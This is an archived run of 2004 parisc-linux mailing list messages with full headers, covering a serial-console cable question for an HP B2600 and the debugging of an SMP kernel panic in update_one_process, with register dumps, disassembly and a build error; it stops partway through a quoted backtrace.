X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22129

I've recently acquired a B2600 in a garage-sale. The seller was selling
lots of stuff acquired from a company gone broke, and clearly didn't 
know what he had ('But what can you do with this thing?').

It seems in good order, according to the little lcd-screen on the
front
it boots fine, eventually showing a hearbeat.
This screen also informs me the console is SER_1, which I take it is
the
first serial port. A monitor gets a sync signal (about 80 KHz) but no
display. I have no usb keyboard here, so I can't test that.

I know how a serial console should work (plug in the cable, start
minicom
with 9600 8N1 settings, and off you go). Unfortunately, this doesn't
work,
possibly due to my ill luck with rs232 cables. I've got a long history
if not working rs232 cables.

If I look at
http://www.lammertbies.nl/comm/info/nl_RS-232_null_modem.html
(in Dutch, unfortunately for you) I see different types of null-modem
cables.

- no handshaking, 3 wires
- loopback handshaking, 3 wires
- partial handshaking, 7 wires
- full handshaking, 7 wires

What cable would be advisable? I'm really looking forward to getting
linux
running on this thing - it's a lot more acceptable noise-wise than the
old
C200 I used to have, even if it has 4 fans on the front, one on the cpu
and
one in the powersupply.

Thanks,
Jurriaan
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CONFIG_DEBUG_RWLOCK: pb to build a smp 64bit kernel
Date: Wed, 24 Nov 2004 17:46:23 +0100
Lines: 170
Approved: news@gmane.org
Message-ID: <418A8131000077FC@mail-7-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623601 11789 80.91.229.3 (22 Nov 2014 02:33:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23703 invoked by uid 65534); 24 Nov 2004 16:48:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 24 Nov 2004 17:48:46 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2887C3BDDA; Wed, 24 Nov 2004 09:48:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17651-07; Wed, 24 Nov 2004 09:47:34 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 910663BE2E; Wed, 24 Nov 2004 09:46:44 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 12CF33BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Nov 2004 09:46:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17509-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Nov 2004 09:46:26 -0700 (MST)
Original-Received: from mrq-1.tiscalinet.it (unknown [213.205.37.214])
	by free.linux.hp.com (Postfix) with ESMTP id DB24F3BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Nov 2004 09:46:25 -0700 (MST)
Original-Received: from mail-7-bnl.tiscali.it (10.39.115.137) by mrq-1.tiscalinet.it
	(7.0.028)
	id 419A1246000F5AF7 for parisc-linux@lists.parisc-linux.org;
	Wed, 24 Nov 2004 17:46:24 +0100
Original-Received: from [57.67.177.33] by mail-7-bnl.tiscali.it with HTTP;
	Wed, 24 Nov 2004 17:46:23 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22130

Hello all,

As I mentioned in previous info I try a loop to compile the kernel on a
n4k dual cpu with 4Gb of ram.
And unfortuantely, after a various number of build (20, 120,  24, 5) the
system always do the same kernel_fault() in update_one_process():
This short update to already mentioned that it doesn't help:
Backtrace:
 [<0000000010165810>] update_process_times+0x50/0x90
 [<000000001011594c>] timer_interrupt+0xec/0x308
 [<0000000010116708>] do_irq+0xd8/0x1e8
 [<00000000101168f8>] do_cpu_irq_mask+0xe0/0x150
 [<0000000010107074>] intr_return+0x0/0x24


Kernel Fault: Code=3D26 regs=3D000000007be04d40 (Addr=3D00000000000000d0)=


     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001110 Not tainted
r00-03  0000000000000000 ffffffffffff0a40 00000000101656c4 000000001061f0=
40
r04-07  0000000080806838 0000000000000011 0000000000000000 00000000000000=
00
r08-11  0000000000000001 000000007be04580 0000000000000010 00000000808068=
d8
r12-15  00000000000248c0 0000000000000000 0000000080806950 000000007be044=
10
r16-19  000000007be04580 0000000000000000 0000000000000000 00000000000000=
00
r20-23  0000000004400000 0000000004400000 0000000000000000 00000000000004=
40
r24-27  0000000000000000 0000000000000000 0000000000000440 000000001061f0=
40
r28-31  0000000000000000 0000000000000000 000000007be04d40 000000000000fa=
00
sr0-3   0000000006d1f000 0000000000000000 0000000000000000 0000000006d1f0=
00
sr4-7   0000000000000000 0000000000000000 0000000000000000 00000000000000=
00

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000101656cc 0000000010=
1656d0
 IIR: 527401a0    ISR: 0000000000000000  IOR: 00000000000000d0
 CPU:        0   CR30: 000000007be04000 CR31: 00000000105e4000
 ORIG_R28: 0000000010149214
 IAOQ[0]: update_one_process+0x74/0x168
 IAOQ[1]: update_one_process+0x78/0x168
 RP(r2): update_one_process+0x6c/0x168
Kernel panic - not syncing: Kernel Fault

at the same place.

A dump of kernel/timer.o shows:
0000000000000000 <update_one_process>:
   0:   0f c2 12 c1     std rp,-10(,sp)
   4:   37 de 02 00     ldo 100(sp),sp
   8:   73 c4 3e 51     std r4,-d8(sp)
   c:   73 c7 3e 21     std r7,-f0(sp)
  10:   73 c5 3e 41     std r5,-e0(sp)
  14:   73 c3 3e 61     std r3,-d0(sp)
  18:   08 1a 02 44     copy r26,r4
  1c:   08 19 02 47     copy r25,r7
  20:   73 c6 3e 31     std r6,-e8(sp)
  24:   08 1b 02 43     copy dp,r3
  28:   50 93 05 30     ldd 298(r4),r19
  2c:   50 94 05 40     ldd 2a0(r4),r20
  30:   0b 14 0a 34     add,l r20,r24,r20
  34:   08 f3 0a 33     add,l r19,r7,r19
  38:   50 95 0c 40     ldd 620(r4),r21
  3c:   0a 93 0a 25     add,l r19,r20,r5
  40:   70 93 05 30     std r19,298(r4)
  44:   ee a0 20 e0     cmpib,*=3D 0,r21,bc <update_one_process+0xbc>
  48:   70 94 05 40     std r20,2a0(r4)
  4c:   0c 80 10 d3     ldd 0(,r4),r19
  50:   34 14 00 60     ldi 30,r20
  54:   0a 93 02 33     and r19,r20,r19
  58:   ee 60 a0 b8     cmpib,*<> 0,r19,bc <update_one_process+0xbc>
  5c:   08 05 02 5a     copy r5,r26
  60:   34 19 07 d0     ldi 3e8,r25
  64:   e8 00 a0 00     b,l 6c <update_one_process+0x6c>,%r2
  68:   37 dd 3f e1     ldo -10(sp),ret1
  6c:   50 93 0c 40     ldd 620(r4),r19
  70:   08 1c 02 46     copy ret0,r6
  74:   52 74 01 a0     ldd d0(r19),r20
  78:   bc d4 a0 78     cmpb,*>> r20,r6,bc <update_one_process+0xbc>
  7c:   08 03 02 5b     copy r3,dp
  80:   08 05 02 5a     copy r5,r26

that's match the backtrace as r19=3D=3D0

but why?

scaning a bit codehelp me to figure out it should came from:
do_process_times()
    |------> send_sig() ----> return send_sig_info()
                                         |-----> _read_lock()

#define _read_lock(lock)        \
do { \
        preempt_disable(); \
        _raw_read_lock(lock); \
} while(0)

#ifdef CONFIG_DEBUG_RWLOCK
extern void _dbg_read_lock(rwlock_t * rw, const char *bfile, int bline);
#define _raw_read_lock(rw) _dbg_read_lock(rw, __FILE__, __LINE__)
#else
static  __inline__ void _raw_read_lock(rwlock_t *rw)

And so I tried to compile kernel with CONFIG_DEBUG_RWLOCK=3Dy

but unfortuantely it early failed to build:
  hppa64-linux-gcc -Wp,-MD,kernel/.spinlock.o.d -nostdinc -iwithprefix in=
clude
-D__KERNEL__ -Iinclude  -Wall -Wstrict-prototypes -Wno-trigraphs -fno-str=
ict-aliasing
-fno-common -O2 -fomit-frame-pointer -pipe -mno-space-regs -mfast-indirec=
t-calls
-ffunction-sections -march=3D2.0 -mschedule=3D8000 -Wdeclaration-after-st=
atement
   -DKBUILD_BASENAME=3Dspinlock -DKBUILD_MODNAME=3Dspinlock -c -o kernel/=
spinlock.o
kernel/spinlock.c
kernel/spinlock.c: In function `_write_trylock':
kernel/spinlock.c:28: void value not ignored as it ought to be
make[1]: *** [kernel/spinlock.o] Error 1
make: *** [kernel] Error 2

The error message seems to be incomplet :(

Knowing that it is still:
  hppa64-linux-gcc -Wp,-MD,kernel/.spinlock.o.d -nostdinc -iwithprefix in=
clude
-D__KERNEL__ -Iinclude  -Wall -Wstrict-prototypes -Wno-trigraphs -fno-str=
ict-aliasing
-fno-common -O2 -fomit-frame-pointer -pipe -mno-space-regs -mfast-indirec=
t-calls
-ffunction-sections -march=3D2.0 -mschedule=3D8000 -Wdeclaration-after-st=
atement
   -DKBUILD_BASENAME=3Dspinlock -DKBUILD_MODNAME=3Dspinlock -c -o kernel/=
spinlock.o
kernel/spinlock.c
kernel/spinlock.c: In function `_write_trylock':
kernel/spinlock.c:28: void value not ignored as it ought to be
make[1]: *** [kernel/spinlock.o] Error 1
make: *** [kernel] Error 2

Is it a known bug.
Should I have to upgrade to gcc-3.3 64bit?

Thanks in advance for help,
    Joel


-------------------------------------------------------------------------=
--
Tiscali vous offre 3 mois d'ADSL et 3 mois de DVD gratuits...profitez-en.=
..
http://reg.tiscali.be/adsl/default.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] but still panic: [WAS: 2.6.10-rc1-pa15 boot fine
	on n4k but still	annoying bactrace]
Date: 25 Nov 2004 14:39:05 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <1101415152.2020.21.camel@mulgrave>
References: <418A80E800005C38@mail-6-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623601 11791 80.91.229.3 (22 Nov 2014 02:33:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:21 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29849 invoked by uid 65534); 25 Nov 2004 20:41:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 25 Nov 2004 21:41:59 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C77D43BE33; Thu, 25 Nov 2004 13:41:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31781-06; Thu, 25 Nov 2004 13:39:59 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 680DA3BE43; Thu, 25 Nov 2004 13:39:31 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F7FB3BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Nov 2004 13:39:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 31781-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Nov 2004 13:39:24 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 6ED793BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Nov 2004 13:39:23 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	iAPKdCp19489; Thu, 25 Nov 2004 15:39:12 -0500
In-Reply-To: <418A80E800005C38@mail-6-bnl.tiscali.it>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22131

On Mon, 2004-11-22 at 08:10, Joel Soete wrote:
> IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001016a7cc 000000001016a7d0
>  IIR: 527401a0    ISR: 0000000000000000  IOR: 00000000000000d0
>  CPU:        0   CR30: 000000004d5a0000 CR31: 00000000105f0000
>  ORIG_R28: 000000001010d18c
>  IAOQ[0]: update_one_process+0x74/0x168
>  IAOQ[1]: update_one_process+0x78/0x168
>  RP(r2): update_one_process+0x6c/0x168

As best I can tell, this is in kernel/timer.c here:

        if (p->signal && !unlikely(p->state & (EXIT_DEAD|EXIT_ZOMBIE))
&&
            psecs / HZ >= p->signal->rlim[RLIMIT_CPU].rlim_cur) {

The problem seems to be that p->signal is null, but it wasn't null when
the processor began the evaluation of the condition.  0xd0 is the 64 bit
offset of rlim[RLIMIT_CPU].rlim_cur.

If you look at the code, p->signal should be in r19 which is zero.

I have no explanation for this (other than some weird race in the signal
handling code somewhere).

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-15?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20but=20still=20panic=3A=20=5BWAS=3A=202=2E6=2E10=2Drc1=2Dpa15=20boot=20fine=09on=20n4k=20but=20still=09annoying=20bactrace=5D?=
Date: Fri, 26 Nov 2004 08:22:26 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <418A80E800007D7B@mail-6-bnl.tiscali.it>
References: <1101415152.2020.21.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623601 11792 80.91.229.3 (22 Nov 2014 02:33:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:21 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31105 invoked by uid 65534); 26 Nov 2004 07:23:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx008) with SMTP; 26 Nov 2004 08:23:27 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0C4CA3BE43; Fri, 26 Nov 2004 00:23:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05360-02; Fri, 26 Nov 2004 00:23:11 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 82F2D3BE33; Fri, 26 Nov 2004 00:22:41 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8AAC83BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 00:22:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05212-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 00:22:32 -0700 (MST)
Original-Received: from mrq-1.tiscalinet.it (unknown [213.205.37.214])
	by free.linux.hp.com (Postfix) with ESMTP id B928C3BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 00:22:31 -0700 (MST)
Original-Received: from mail-6-bnl.tiscali.it (10.39.115.136) by mrq-1.tiscalinet.it
	(7.0.028) id 419A1246001241C2; Fri, 26 Nov 2004 08:22:27 +0100
Original-Received: from [57.67.177.33] by mail-6-bnl.tiscali.it with HTTP;
	Fri, 26 Nov 2004 08:22:26 +0100
In-Reply-To: <1101415152.2020.21.camel@mulgrave>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22132


> -- Original Message --
> From: James Bottomley <James.Bottomley@SteelEye.com>
> To: Joel Soete <soete.joel@tiscali.be>
> Cc: Grant Grundler <grundler@parisc-linux.org>,
>    PARISC list
> 	 <parisc-linux@lists.parisc-linux.org>
> Date: 25 Nov 2004 14:39:05 -0600
> Subject: Re: [parisc-linux] but still panic: [WAS: 2.6.10-rc1-pa15 boot=

fine
> 	on n4k but still	annoying bactrace]
> 
> 
> On Mon, 2004-11-22 at 08:10, Joel Soete wrote:
> > IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001016a7cc 000000=
001016a7d0
> >  IIR: 527401a0    ISR: 0000000000000000  IOR: 00000000000000d0
> >  CPU:        0   CR30: 000000004d5a0000 CR31: 00000000105f0000
> >  ORIG_R28: 000000001010d18c
> >  IAOQ[0]: update_one_process+0x74/0x168
> >  IAOQ[1]: update_one_process+0x78/0x168
> >  RP(r2): update_one_process+0x6c/0x168
> 
> As best I can tell, this is in kernel/timer.c here:
> 
>         if (p->signal && !unlikely(p->state & (EXIT_DEAD|EXIT_ZOMBIE))
> &&
>             psecs / HZ >=3D p->signal->rlim[RLIMIT_CPU].rlim_cur) {
> 
NIce to point it me out :)

> The problem seems to be that p->signal is null, but it wasn't null when=

> the processor began the evaluation of the condition.  0xd0 is the 64 bi=
t
> offset of rlim[RLIMIT_CPU].rlim_cur.
> 
Cool ;-)

> If you look at the code, p->signal should be in r19 which is zero.
>
I will try to figure thid out.
 
> I have no explanation for this (other than some weird race in the signa=
l
> handling code somewhere).
> 
Yes the hazardous aspect of the pb seems to confirm this hypothesis.
The pb is to find where this race condition occurs; I continue investigat=
ion.

Thanks for help,
    Joel

-------------------------------------------------------------------------=
--
Tiscali vous offre 3 mois d'ADSL et 3 mois de DVD gratuits...profitez-en.=
..
http://reg.tiscali.be/adsl/default.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-rc1-pa15 panic after 21 kernel build loop
	:-(
Date: Fri, 26 Nov 2004 08:27:13 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <418A80E800007D80@mail-6-bnl.tiscali.it>
References: <20041125181832.GA12264@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623602 11795 80.91.229.3 (22 Nov 2014 02:33:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12526 invoked by uid 65534); 26 Nov 2004 07:27:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 26 Nov 2004 08:27:48 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E7CD83BE2E; Fri, 26 Nov 2004 00:27:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05360-09; Fri, 26 Nov 2004 00:27:36 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DA7FA3BE33; Fri, 26 Nov 2004 00:27:26 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6902F3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 00:27:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05212-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 00:27:18 -0700 (MST)
Original-Received: from mrq-1.tiscalinet.it (unknown [213.205.37.214])
	by free.linux.hp.com (Postfix) with ESMTP id 79B933BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 00:27:17 -0700 (MST)
Original-Received: from mail-6-bnl.tiscali.it (10.39.115.136) by mrq-1.tiscalinet.it
	(7.0.028) id 419A1246001242A2; Fri, 26 Nov 2004 08:27:14 +0100
Original-Received: from [57.67.177.33] by mail-6-bnl.tiscali.it with HTTP;
	Fri, 26 Nov 2004 08:27:13 +0100
In-Reply-To: <20041125181832.GA12264@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22133


> -- Original Message --
> Date: Thu, 25 Nov 2004 11:18:32 -0700
> From: Grant Grundler <grundler@parisc-linux.org>
> To: Joel Soete <soete.joel@tiscali.be>
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] 2.6.10-rc1-pa15 panic after 21 kernel build=

loop
> :-(
> 
> 
> On Fri, Nov 19, 2004 at 09:15:21AM +0100, Joel Soete wrote:
> > Press Q/q to quit, Enter to continue:
> >  [<000000001016a910>] update_process_times+0x50/0x90
> >  [<00000000101269b8>] smp_do_timer+0x78/0x80
> >  [<000000001011b120>] timer_interrupt+0xd8/0x2f0
> >  [<000000001011bed8>] do_irq+0xd8/0x1e8
